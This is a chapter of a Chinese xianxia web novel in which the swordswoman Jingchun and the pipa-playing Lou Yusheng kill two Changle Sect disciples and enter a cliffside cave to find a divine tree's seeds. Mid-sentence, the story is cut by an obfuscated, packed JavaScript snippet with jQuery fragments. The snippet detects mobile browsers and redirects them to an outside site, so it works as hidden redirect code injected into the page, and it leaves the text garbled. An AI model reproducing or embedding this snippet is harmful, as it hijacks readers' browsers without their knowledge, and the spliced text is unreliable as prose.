听见娄雨生的话,惊春抬头向前望去,这才发现面前的小道上不知何时围了一群人过来,为首的正是那恶徒二人。
惊春心下诧异,她分明已经杀死其中一人,难不成他其实有什么护身法宝,是假死骗她?
“娄雨生,你这小娘子名字取得倒是好听,只不过脾气差点儿意思,今儿你同伙伤了我这弟兄,不意思意思怕是走不了了。”那恶徒拍拍手,身后众人同时向她们二人袭来,惊春只得抽出长阳剑迎面而上。
那娄雨生倒也没落下风,当即盘腿坐在地上,十指在琵琶弦上上下飞舞,指尖拨动之快让人只能看见残影,惊春伴着激扬的琵琶声使出一招一式,她只觉得面前的敌人像是都放慢了速度,她能如鱼得水般顺畅地穿梭在敌人之间。
一首激扬的琵琶曲结束,惊春也收剑落地,一地尸体血流成河,她皱眉回望娄雨生,这也能叫好戏?
娄雨生站起身来,面色冷峻,朝惊春身后喊话道:“你们派出的喽啰已死,还不现身捉拿我这个‘罪人’吗?”
她话音刚落,果然那小道上又走出两人,那两人衣着服饰颇为精致,玉冠束发,虽说长相谈不上俊美,但人靠衣装马靠鞍,这一身打扮一看就是什么名门正派的弟子,惊春紧握长阳剑,提防地看着他们。
“师姐,好久不见。”
“别叫我师姐!颜森,别以为我不知道你是受了谁的命令而来!还有你——林栋梁,当初是谁在众人扒高踩低之时没有看不起你,愿意收留你当弟子,但凡你有一点儿良心,你都不会站在此处。”娄雨生一脸嫌恶地看向那二人。
惊春心下一紧,怎么搅和到别人家的门派家事里去了,她若此时离开,恐怕也脱不开身,那两人肯定已经把她当做娄雨生的同伴了。
她只能继续提着剑紧盯颜森和林栋梁,同时还有分出心神去顾着娄雨生的动静。
“师姐,何出此言?掌门之死的证据处处都指向你,况且你还盗了咱们长乐门的至宝——照影心,”颜森用手中扇指向娄雨生怀中的琵琶,“这可是千真万确,再抵赖不得的啊。”
娄雨生冷笑一声,不再与他们多费口舌,长指一拨,琵琶声韵化作青色箭矢朝他们飞去,惊春见状就知道又是一场腥风血雨,对面的实力她还不清楚,不求碾压,能打个平手也是好的。
琵琶声化作箭雨,那二人自然也有应对之法,颜森挥扇使出法术,一阵劲风扫开箭雨,一旁的林栋梁则开始双手结印,他背上的大刀嗡嗡作响,一下就抽离了他的后背,横悬于两人头顶,开始分化为百把大刀,齐整如一,向惊春和娄雨生袭来。
“连这招式都叫你们学会了啊。”娄雨生不屑地加快了拨动的速度,一时间只能看见箭雨和刀影相接,惊春也使出长阳剑的分身之术——春来再发生,刀光剑影,拼的就是谁的修为更高。
一时间这四人竟势均力敌,无人落得下风,娄雨生咬牙加速,十指鲜血淋漓,滴落在木色琵琶上,血痕染红了弦线。
惊春见状也手持长阳剑向林栋梁刺去,那颜森一直在防御,见惊春刺来分身去救同伙,却不料惊春的剑风快上一步,林栋梁当场被断一臂,趁他失神,惊春又是一剑刺向他心脏处,失了战力的颜森只能强撑防御,见惊春占了上风,娄雨生顾不得嘴角溢出鲜血,手指毫不停歇地拨动琵琶弦。
终究是惊春以强取胜,那二人皆死于她剑下,等长阳剑把他二人戳成筛子后,惊春才去探他们的鼻息,确认二人身死无疑。
待她转头去看娄雨生时,心下一惊,娄雨生原本姣好的面容与白皙的十指竟然都伤痕累累,十个指尖更是血肉模糊,甚至可见白骨。
“你!”惊春翻找着储物袋,企图找到能替她疗伤的丹药,可娄雨生却含笑摇头,朝那两具尸体走去。
“惊春道友,你可知为何那恶徒明明被你所杀,却又再次站到你我面前?”
“不知。”
“都是因为它啊。”娄雨生从颜森的胸前翻出一宝物,那四四方方的小盒子不过鹌鹑蛋大小,惊春实在看不出个名堂。
娄雨生将它收入袖中,脸色凝重地望向惊春,“这二人是长乐门弟子,不杀他们,你我难逃一死,杀了他们,你我后患无穷,惊春道友,你可后悔?”
惊春心想虱子多了不怕咬,债多了不愁,天岳宗算一个,多一个长乐门又如何?
“你少废话,只管带我去取那神树种子,这才是第一要紧之事!”惊春皱眉不喜,时候不等人,这一路上已经废了够多时间了,她一边将剑搁在娄雨生颈侧,一边抛丹药,“快服了这丹药,我们好动身!”
娄雨生见她一心只要树种,就算刚才同生共死,也不肯真心相待,还要逼自己服毒,想要控制自己,只觉得心凉,也罢,先是自己不真诚待人,何必怪罪别人,反正她体质特殊,无需担心丹药有毒。
服了丹药后身体却并未出现不适,反而五脏六腑都充斥着温和的灵气,受损伤的地方竟然也开始慢慢修复,流血不止的十指也血肉复生,伤痕全无。
“这?”娄雨生惊讶地抬头看向惊春,原来不是毒药么?看来是她以小人之心度君子之腹了。
“既然已好,就快快赶路!”
等两人赶到娄雨生所说之处时,是一处悬崖峭壁,一旁是磅礴的瀑布,底下是深不可测的水潭,瀑布水声之大,让惊春耳中听不见任何声音,她捂耳朝娄雨生喊道:“你这是要我跳下瀑布不成?”
娄雨生也听不见她说话,只能捏指将琵琶变大,一跃而上,伸手示意惊春一同上来。
伴着轰鸣的水声,琵琶轻轻抖动,缓缓浮起,竟朝着悬崖下落去,耳侧呼啸的风吹得惊春睁不开眼,她在心里暗骂,娄雨生要是敢戏弄她,必定遭她千刀万剐。
这悬崖只怕有千丈高,等琵琶悬停在峭壁一处藤蔓纵生之地时,惊春忍不住腹中翻江倒海之势,趴在琵琶边缘大吐起来,娄雨生捂嘴一笑,伸手轻拍她后背,“明明御剑时道友你也没这么大反应,怎么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437257|168712||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坐了在下的琵琶,反而成了这副模样?”
惊春掏出水壶漱口,擦了擦嘴后才睁眼看她,“御剑时出力的是我,一心只在御剑上,自然就不会在意其他的,坐上你的琵琶,你又生疏得很,我自然受不了。”
“好了好了,是在下的过错,还得烦请道友劈开这些藤蔓,我们好进洞去。”娄雨生又将琵琶靠近了些,惊春这才看清,这藤蔓都是从洞内生出,最细之处也有她小臂般粗。
惊春持剑一挑,那些藤蔓好似活物,竟然朝着她的剑朝她伸来!长阳剑被死死缠住,惊春只能引出雷电,以长阳剑为依托,一道道闷声轰鸣的雷电硬生生将这些葱绿的藤蔓劈成黑炭。
娄雨生见惊春使出雷电之法,心下一惊,开口道:“你……你竟是雷灵根?”这灵根万里挑一,质优者更是少之又少,依她看来,惊春的雷灵根必定是上上品,只是看她似乎并不通灵根之法,散修无宗门教导,只能白白浪费了这灵根。
见藤蔓都成了黑炭,惊春再使出掌风,将其吹开,只是她这掌风之法也学的不到家,吹得她和娄雨生糊了一身黑炭。
长叹一口气,娄雨生掐了诀,给两人净了身,这才又开口:“道友啊,你这修为到家了,可功法还得多练练,你这雷灵根不能白白被糟蹋了,不如跟我去长乐门,专心修习?”
“跟你去长乐门?你不都被长乐门通缉了吗?他们都派弟子来追杀你了,我可不想东躲西藏地过一辈子。”惊春有些嫌弃地拍拍手掌,一跃跳进山洞,“快进来。”
回声在洞中传荡,娄雨生微微一笑,也提着衣袍跳进洞中,“道友莫急,等我一同。”
这山洞洞口生着不少藤蔓,可进了洞中,却空荡荡的,只有微微潮湿的洞壁上生了些苔藓野蕨。
惊春越往里走,越感到湿闷。她扯扯领口在面前扇着风,有些不高兴,“这洞中真有那神树之种?别想着骗我,现在说实话还来得及,我饶你不死。”
娄雨生不语,她们已经到了分岔口,她驻足侧耳倾听,直到细微的滴水之声从一方传来,她才对上惊春怀疑的双眼,“道友,往这边走。”
她是长乐门弟子,精通音律,自然对细微声音的感受异于常人,更何况她还是前任掌门的关门弟子,这种本事更是高人一等。
惊春不知道其中的奥秘,只能半信半疑地跟在她身后,但凡她有异常举动,随时都能取她性命。
走了不知道多少个岔路口,惊春只觉得自己头晕目眩,叫她原路返回,她也只怕是找不回去,不知道又过了多久,娄雨生停下脚步,侧身让开,展露在惊春面前的是一方清澈小潭,隔着这一潭水,正对面是一颗结满红果的树,果实成熟的诱人气息让惊春有些飘飘然。
只是好景不长,有人紧跟着她们进了山洞,惊春拔剑相对,娄雨生高声道:“道友何必躲躲藏藏,难不成不敢以真面目示人?”
那人听了这话,从阴暗处走来,见到他的面貌后,惊春大惊:“你怎么来了!”